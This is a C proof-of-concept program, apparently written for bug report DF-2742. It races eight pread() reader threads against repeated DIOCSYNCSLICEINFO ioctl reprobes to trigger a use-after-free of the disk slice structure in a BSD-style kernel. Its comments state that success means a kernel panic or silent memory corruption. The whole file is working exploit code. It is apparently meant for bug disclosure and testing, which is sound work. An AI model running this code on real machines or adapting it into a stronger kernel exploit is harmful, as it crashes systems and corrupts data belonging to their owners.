/*
 * DF-2742 PoC -- disk_probe()/disk_invalidate() free dp->d_slice while
 * diskstrategy() uses it (no ds_token on the strategy path).
 *
 *   reader threads : pread() /dev/vnXs1 in a tight loop  -> diskstrategy()
 *                    -> dscheck(dev, bio, dp->d_slice)   [subr_disk.c:1246,
 *                    no ds_token]
 *   trigger thread : ioctl(/dev/vnX, DIOCSYNCSLICEINFO, &(int){1}) in a loop
 *                    -> DISK_DISK_REPROBE -> disk_probe() replaces
 *                    dp->d_slice and dsgone()s the old struct
 *                    [subr_disk.c:367-368, 494]  -> readers touch freed heap.
 *
 * Run as root: ./poc2742 <wholedisk> <slicedevice> [seconds]
 * Expected on hit: kernel panic (dscheck on freed ssp / malloc corruption)
 * or silent corruption; success criterion is a panic signature in the
 * serial log mentioning dscheck/disk_probe/dsgone/malloc corruption.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/diskslice.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>

static const char *slice_dev;
static volatile int stop;

static void *
reader(void *arg)
{
	unsigned char buf[512];
	long n = 0, tot = 0;
	int fd = open(slice_dev, O_RDONLY);
	if (fd < 0) { perror("reader open"); exit(1); }
	while (!stop) {
		n = pread(fd, buf, sizeof(buf), (off_t)(tot % 512) * 512);
		if (n < 0) { perror("pread"); break; }
		tot += 1;
	}
	printf("reader %p did %ld reads\n", arg, tot);
	return NULL;
}

int
main(int argc, char **argv)
{
	pthread_t th[8];
	int fd, r, secs = 60;
	long iters = 0;
	int one = 1;
	time_t t0;

	if (argc < 3) {
		fprintf(stderr, "usage: %s <wholedisk> <slicedevice> [secs]\n",
		    argv[0]);
		return 2;
	}
	if (argc > 3) secs = atoi(argv[3]);
	slice_dev = argv[2];

	fd = open(argv[1], O_RDWR);
	if (fd < 0) { perror("open wholedisk"); return 1; }

	for (r = 0; r < 8; r++)
		pthread_create(&th[r], NULL, reader, (void *)(long)r);

	t0 = time(NULL);
	while (time(NULL) - t0 < secs) {
		r = ioctl(fd, DIOCSYNCSLICEINFO, &one);
		if (r < 0) { perror("DIOCSYNCSLICEINFO"); break; }
		iters++;
	}
	stop = 1;
	for (r = 0; r < 8; r++)
		pthread_join(th[r], NULL);
	printf("did %ld forced reprobes over %ds with 8 concurrent readers\n",
	    iters, secs);
	return 0;
}
